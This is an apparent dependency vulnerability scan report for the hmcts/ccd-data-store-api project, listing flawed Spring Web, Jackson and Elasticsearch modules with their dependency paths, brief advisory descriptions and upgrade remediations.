Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Incomplete Cleanup via multipart request handling in WebFlux. An attacker can exhaust disk space by sending multipart requests with large parts that trigger creation of temporary files, which under certain conditions are not deleted after the request completes, leading to accumulation of temp files and denial of service.
Remediation
Upgrade org.springframework:spring-web to version 6.2.18, 7.0.7 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Open Redirect when UriComponentsBuilder parses an externally provided URL, and the application subsequently uses that URL. If it contains hierarchical components such as path, query, and fragment it may evade validation.
Remediation
Upgrade org.springframework:spring-web to version 5.3.32, 6.0.17, 6.1.4 or higher.
References
high severity
- Vulnerable module: org.springframework:spring-web
- Introduced through: io.github.openfeign.form:feign-form-spring@3.8.0, org.springframework.security:spring-security-web@7.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.github.openfeign.form:feign-form-spring@3.8.0 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.hateoas:spring-hateoas@3.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.security:spring-security-oauth2-client@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springdoc:springdoc-openapi-starter-webmvc-ui@2.9.1 › org.springdoc:springdoc-openapi-starter-webmvc-api@2.9.1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework:spring-webmvc@7.1.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-http-converter@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-webmvc@4.2.0-RC1 › org.springframework.boot:spring-boot-servlet@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.cloud:spring-cloud-starter-openfeign@5.1.0-RC1 › org.springframework.cloud:spring-cloud-openfeign-core@5.1.0-RC1 › io.github.openfeign:feign-form-spring@13.17 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-security@4.2.0-RC1 › org.springframework.boot:spring-boot-security@4.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-web@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-jose@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-oauth2-resource-server@4.2.0-RC1 › org.springframework.boot:spring-boot-security-oauth2-resource-server@4.2.0-RC1 › org.springframework.security:spring-security-oauth2-resource-server@7.2.0-RC1 › org.springframework.security:spring-security-oauth2-core@7.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-tomcat-runtime@4.2.0-RC1 › org.springframework.boot:spring-boot-tomcat@4.2.0-RC1 › org.springframework.boot:spring-boot-web-server@4.2.0-RC1 › org.springframework:spring-web@5.1.5.RELEASE
Overview
org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.
Affected versions of this package are vulnerable to Open Redirect when using UriComponentsBuilder to parse an externally provided URL and perform validation checks on the host of the parsed URL.
Note: This is the same as CVE-2024-22243, but with different input.
Remediation
Upgrade org.springframework:spring-web to version 5.3.33, 6.0.18, 6.1.5 or higher.
References
high severity
- Vulnerable module: tools.jackson.core:jackson-core
- Introduced through: tools.jackson.core:jackson-core@jackson3Version
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-core@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-core@3.1.0.
Overview
Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in ReaderBasedJsonParser.java and UTF8DataInputJsonParser.java, when processing deeply nested data. A regression in 3.0 versions caused the StreamReadConstraints.maxNestingDepth setting for DataInput to not be checked, allowing resources to be overwhelmed by malicious inputs.
Remediation
Upgrade tools.jackson.core:jackson-core to version 3.1.0 or higher.
References
high severity
- Vulnerable module: tools.jackson.core:jackson-databind
- Introduced through: co.elastic.clients:elasticsearch-java@9.5.5, org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 and others
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › co.elastic.clients:elasticsearch-java@9.5.5 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.springframework.boot:spring-boot-starter-web@4.2.0-RC1 › org.springframework.boot:spring-boot-starter-jackson@4.2.0-RC1 › org.springframework.boot:spring-boot-jackson@4.2.0-RC1 › tools.jackson.core:jackson-databind@3.1.0
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › tools.jackson.core:jackson-databind@jackson3VersionRemediation: Upgrade to tools.jackson.core:jackson-databind@3.1.5.
Overview
Affected versions of this package are vulnerable to Incorrect Authorization in the deserialization process when handling properties annotated with both @JsonView and @JsonUnwrapped. An attacker can modify data that should be restricted to a higher-privileged view by supplying crafted JSON input.
Remediation
Upgrade tools.jackson.core:jackson-databind to version 3.1.5, 3.2.1 or higher.
References
high severity
- Module: org.elasticsearch:elasticsearch-cli-terminal
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-cli-terminal@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-cli-terminal@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-cli-terminal@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-cli-terminal@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-cli-terminal@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-cli@9.5.5 › org.elasticsearch:elasticsearch-cli-terminal@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-entitlement
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-entitlement@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-entitlement@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-entitlement@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-entitlement@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-entitlement@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-foreign-adapter
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › io.searchbox:jest-common@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.elasticsearch.test:framework@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › io.searchbox:jest@6.3.1 › org.codelibs.elasticsearch.module:lang-painless@6.3.1 › org.codelibs.elasticsearch.module:scripting-painless-spi@6.3.1 › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-simdvec@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5 › org.elasticsearch:elasticsearch-foreign-adapter@9.5.5
AGPL-3.0 license
high severity
- Module: org.elasticsearch:elasticsearch-foreign-library
- Introduced through: org.elasticsearch:elasticsearch@9.5.5 and io.searchbox:jest@6.3.1
Detailed paths
-
Introduced through: hmcts/ccd-data-store-api@hmcts/ccd-data-store-api › org.elasticsearch:elasticsearch@9.5.5 › org.elasticsearch:elasticsearch-native@9.5.5 › org.elasticsearch:elasticsearch-foreign-library@9.5.5
-
